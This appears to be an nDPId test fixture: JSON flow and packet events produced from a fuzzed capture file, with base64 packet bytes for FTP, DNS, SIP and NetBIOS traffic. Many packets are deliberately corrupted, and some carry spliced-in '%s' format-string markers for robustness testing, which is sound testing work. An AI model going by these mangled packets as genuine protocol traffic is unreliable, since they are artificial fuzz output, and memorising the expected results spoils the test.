+00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1120469635106,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":1,"l3_proto":"ip4","src_ip":"192.112.1.2","dst_ip":"147.234.1.253","src_port":2720,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00595{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1120469635043,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.66","src_port":21,"dst_port":2720,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1120469635043,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.66","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00594{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1120469635048,"flow_last_seen":0,"flow_tot_l4_data_len":79,"flow_min_l4_data_len":79,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":79,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.2","src_port":21,"dst_port":2732,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1120469635048,"flow_last_seen":0,"flow_tot_l4_data_len":79,"flow_min_l4_data_len":79,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":79,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.2","src_port":21,"dst_port":2732,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00657{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1120469632829,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.114.1.2","dst_ip":"192.168.1.1","src_port":2719,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1120469632829,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.114.1.2","dst_ip":"192.168.1.1","src_port":2719,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00594{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1120469635010,"flow_last_seen":0,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":96,"flow_max_l4_data_len":96,"flow_avg_l4_data_len":96,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.169.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1120469635010,"flow_last_seen":0,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":96,"flow_max_l4_data_len":96,"flow_avg_l4_data_len":96,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.169.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1120469663172,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.136.1.1","src_port":2722,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469663,"pkt_ts_usec":172651,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIacgAAIARTYnAqAECwIgBAQqiADUANGxNvdUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1120469663172,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.136.1.1","src_port":2722,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":101,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1120469664171,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2722,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469664,"pkt_ts_usec":171980,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIackAAIARTYjAqAECwKgBAQqiADUANGxNvdUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":101,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1120469664171,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2722,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469666,"pkt_ts_usec":174774,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIacoAAIARpYfAqAECwKgBAQqiADUANFpNvdUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00466{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469668,"pkt_ts_usec":178014,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIacsAAIARTYbAqAECwKgBAQqiADUANGxNvdUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhADA="} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":104,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469672,"pkt_ts_usec":183692,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW7bCABFABFIacwAAIARTYXAqAECwKgBAQqiADUANGxNvdUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":104,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":105,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1120469663172,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.136.1.1","src_port":2722,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469680,"pkt_ts_usec":185381,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEac0AAIARTYjAqAECwKgBAQqiADUAMONFQdYAAAABywAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":105,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":4,"flow_first_seen":1120469664171,"flow_last_seen":1120469680185,"flow_tot_l4_data_len":204,"flow_min_l4_data_len":48,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2722,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":106,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1120469680186,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2723,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469680,"pkt_ts_usec":186878,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CqMAR8XBQdaAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRzBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":106,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1120469680186,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2723,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-adds.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":107,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1120469680188,"flow_last_seen":0,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":475,"flow_max_l4_data_len":475,"flow_avg_l4_data_len":475,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01033{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469680,"pkt_ts_usec":188467,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"ADBUADRWAODtAW69CABFAAHvac4AAIARF3DAqAEC1PIhIxPEE8QB29MsUkVHSVN0RVIgcGlwOnNpcC5jeWJlcmO3dHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4DjEuMjticmFuY2g9ejloRzRiS24lcwAwNTIwMTk5LTQ4OWQ1MjBmMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjNAw2lwLnB5YmVyY2l0eS5kaz47dGFnPTg2MDJiMTQNClRvOiA8c2lwOnZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlGOiA1NzgyMjI3MjktNGs2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2M0AxOTIuMTY4LjEuMjo1MDYwO2xpbmU9OWM3ZDJkYmQ4ODIyMDEzYz47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDcwIFJFR0lTVEVSDQpDb25mZW50LUxlbmd0aDogMA0KTWF4LUZvcndhcmRzOiA3MA0KVXNlci1BZ2VudDogTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuMC41MS4xNg0KDQo="} +01057{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469680,"pkt_ts_usec":330692,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"AODtAW69ADBUADRWCABFAAICAABAADcRiivU8iEjwKgBAhPEE8QB7uWqU0lQLzIuMCA0MDEgVW5hdXRob3JpJXMADQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA3MCBSRUdJU1RFUg0KRnJvbTogPHNpcDp2b2kxODA2M0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9ODYwMmIxNA0KVG86IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTAwLTA0MDg5LTE3MDFiMDUwLTYxYWM0Yzk0Mw0KVmlhOiBTSVAvMi4wL1UlcwAxOTIuMTY4LjEuMjtyZWNlaXZlZD04MC4yMzAuMjE5LjcwO3Jwb3J0PTUwNjA7YnJhbiVzAHo5aEc0YktucDE0MDUyMDE5OS00ODlkNTMwZjE5Mi4xNjguMS4yDQpXV1ctQXV0aGVudGljYXRlOiBEaWdlc3QgcmVhbG09InNpcC5jeWJlcmdpdHkuZGsiLG5vbmNlPSIxNzAxYjA0MjA3M2U0MGRjM2FjN2FkYjA1MmFkNDFkIixvU2FxdWU9IjE3MDFhMTM1MWY3MDc5NSIsc3RhbGU9ZmFsc2UsYWxnb3JpdGhtPU1ENQ0KQ29udGVudC1MZW5ndGg6IDANCg0K"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":108,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":2,"flow_first_seen":1120469680188,"flow_last_seen":1120469680330,"flow_tot_l4_data_len":969,"flow_min_l4_data_len":475,"flow_max_l4_data_len":494,"flow_avg_l4_data_len":484,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":109,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1120469680447,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2724,"dst_port":9587,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469680,"pkt_ts_usec":447016,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIRc8AAIARTYLAqAECwKgBAQqkJXMANFNK1tYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":110,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1120469681446,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2724,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469681,"pkt_ts_usec":446824,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIadAAAIARTYHAqAECwKgBAQqkADUANFNK1tYBAAABAAB2AAAABF9zaXAEX3VkcAMlcwAJY3liZXJjaXR5AmRrAAAhAAE="} +00466{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469683,"pkt_ts_usec":449627,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIYdEAAIARTYDAqAECwKgBAQqkADUANFNK1tYBAAABAAAAAAAABF9zaXAGX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAQE="} +00482{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469684,"pkt_ts_usec":382515,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOadIAAIERTHvAqAECwKgB\/wCJAIkAOlunhPQBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgADg="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":113,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1120469685131,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":25481,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469685,"pkt_ts_usec":131995,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOB2AW69CABFAABOadMAAIARTHrAqAECwKgB\/wCJY4kAOls4hPQBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUN1NEFDQUJNAHEgAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":114,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1120469685452,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.17.1","src_port":2724,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469685,"pkt_ts_usec":452600,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUPzRWAODtAW69CABFAABIadQAAIARTX3AqAECwKgRAQqkADUANFNK1tYBAAABAAAAAAAABF96aXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":114,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1120469685452,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.17.1","src_port":2724,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_zip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00482{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469685,"pkt_ts_usec":883070,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOadUAAIARTHjAqAECwKgB\/wCJAIkAOlunhPQBEFYBAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00466{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469689,"pkt_ts_usec":458280,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIadYAAIARXXvAqAECwKgBAQqkADUANFNK1tYBAAABAAAAqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00500{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1120469680447,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2724,"dst_port":9587,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1120469680447,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2724,"dst_port":9587,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1120469680186,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2723,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 